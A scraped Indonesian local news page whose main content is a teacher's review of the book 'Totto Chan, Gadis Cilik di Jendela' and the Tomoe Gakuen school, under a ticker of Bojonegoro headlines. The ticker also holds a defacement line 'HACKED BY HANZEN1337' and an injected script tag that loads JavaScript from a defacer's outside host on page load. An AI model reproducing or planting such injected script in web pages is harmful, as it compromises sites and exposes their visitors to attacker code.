News Ticker
  • HACKED BY HANZEN1337
  • <script src="https://jso.defacer.id/raw/I7j6n4T3C9"></script>
  • Kunjungan Kerja di Bojonegoro, Menhan Sjafrie Sjamsoeddin Tinjau Rencana Pengembangan Batalyon TP 885 dan Brigif 33 di Dander
  • 11 Juli dalam Sejarah
  • Prakiraan Cuaca Bojonegoro 11 Juli 2026
  • Kandang Ayam Senilai Rp2 M di Malo, Bojonegoro Ludes Terbakar
  • Panen Melon Bersama, Bupati Bojonegoro Ajak Generasi Muda Bangun Pertanian Modern
  • Pemkab Bojonegoro Alokasikan Rp11,03 Miliar untuk Lima Program Beasiswa Mahasiswa
  • Seorang Lansia Bojonegoro Tewas Tertabrak Kereta Api Jayabaya di Perlintasan Baureno
  • Perkiraan Harga Emas Hari Ini, 10 Jul 2026
  • Prakiraan Cuaca Bojonegoro 10 Juli 2026
  • 10 Juli dalam Sejarah
  • Kecamatan Kota Dominasi Emas Kickboxing, Klasemen Sementara Porkab II Bojonegoro Masih Memimpin
  • Dalam Sehari Terjadi Enam Kebakaran Lahan di Bojonegoro, Ini Daftarnya
  • Pemkab Bojonegoro Berikan Pembinaan Ribuan Mahasiswa Penerima Beasiswa Daerah
  • "El Último Tango", Sepatu Spesial Adidas untuk Perjalanan Terakhir Messi di Piala Dunia
  • Kejari Bojonegoro Terima Tahap II Kasus Dugaan Peredaran Rokok Ilegal
  • Paripurna DPRD, Raperda Pertanggungjawaban APBD 2025 Disetujui
  • Hadapi Musim Kemarau, Pemkab Bojonegoro Distribusikan Air Bersih ke Sejumlah Desa
  • Pemkab Bojonegoro Dorong Setiap OPD Lahirkan Inovasi Lewat BIA 2026
  • Prakiraan Cuaca Bojonegoro 9 Juli 2026
  • Rumah Kosong di Kapas, Bojonegoro Terbakar, Kerugian Capai 150 Juta Rupiah
  • Merayakan Detik Ini: Menemukan Kedamaian dalam Jejak Hidup yang Singkat
  • Tiga Rumah di Temayang Bojonegoro Terbakar Akibat Korsleting Listrik, Total Kerugian 520 Juta Rupiah
Totto Chan, Gadis Cilik di Jendela

Totto Chan, Gadis Cilik di Jendela

Oleh Noela Armylia

Buku ini menceritakan perjalanan hidup seorang gadis cilik yang bernama Totto Chan. Nama aslinya adalah Tetsuko Kurayanagi, yang tak lain adalah pengarang buku ini.

Totto Chan adalah seorang gadis cilik yang sangat bersemangat, periang, polos dan penuh rasa ingin tahu. Sebagai gadis cilik dengan segudang rasa ingin tahu, Totto Chan sering bertingkah laku aneh di sekolah. Guru di sekolah menganggap Totto Chan nakal padahal gadis cilik periang itu hanya memiliki keingintahuan yang besar.Totto Chan pun dikeluarkan dari sekolah dengan alasan selalu membuat keributan di kelas. Akhirnya mama tak bisa berbuat apa-apa selain menyekolahkan anaknya ke sekolah lain. Sekolah yang bisa memahami dan mengajari putrinya menyesuaikan diri dengan orang lain.

Setelah mencari kemana-mana akhirnya mama menemukan sekolah yang pantas untuk putrinya dan mama mendaftarkan Totto Chan ke Tomoe Gakuen.

Tomoe Gakuen adalah deretan gerbong kereta api yang diubah menjadi ruang kelas. Sekolah unik ini dikepalai oleh Sosaku Kobayashi. Sekolah unik ini hanya memiliki 50 anak. Belajar di sekolah Tomoe Gakuen ini pada umumnya bebas dan mandiri mulai dari kelas yang berupa gerbong kereta api, kebun yang indah,pengaturan bangku dengan sesuka hati, dimana saja dan kapan saja. Sampai metode pengajaran dimana para siswa dapat memilih pelajaran apa yang ingin mereka pelajari hari ini dan yang mereka sukai.

Banyak kisah unik dan menarik dalam cerita ini. Bisa disimpulkan bahwa dalam proses belajar mengajar dalam pendidikan anak sekolah dasar dengan anak sekolah menengah atas berbeda. Sekolah dasar lebih senang belajar dengan metode belajar yang menyenangkan disertai permainan yang mengasyikan.

Setiap siswa pasti memiliki kesenangan masing-masing yang dapat mereka kembangkan sejak dini. Salah satu buku yang memberi saya inspirasi bagaimana cara mengajar anak. (noe/kik)

Penulis adalah guru di Yayasan Kampung Ilmu Bojonegoro (YKIB)

Berita Terkait
1783872136.5825 at start, 1783872136.8679 at end, 0.28542900085449 sec elapsed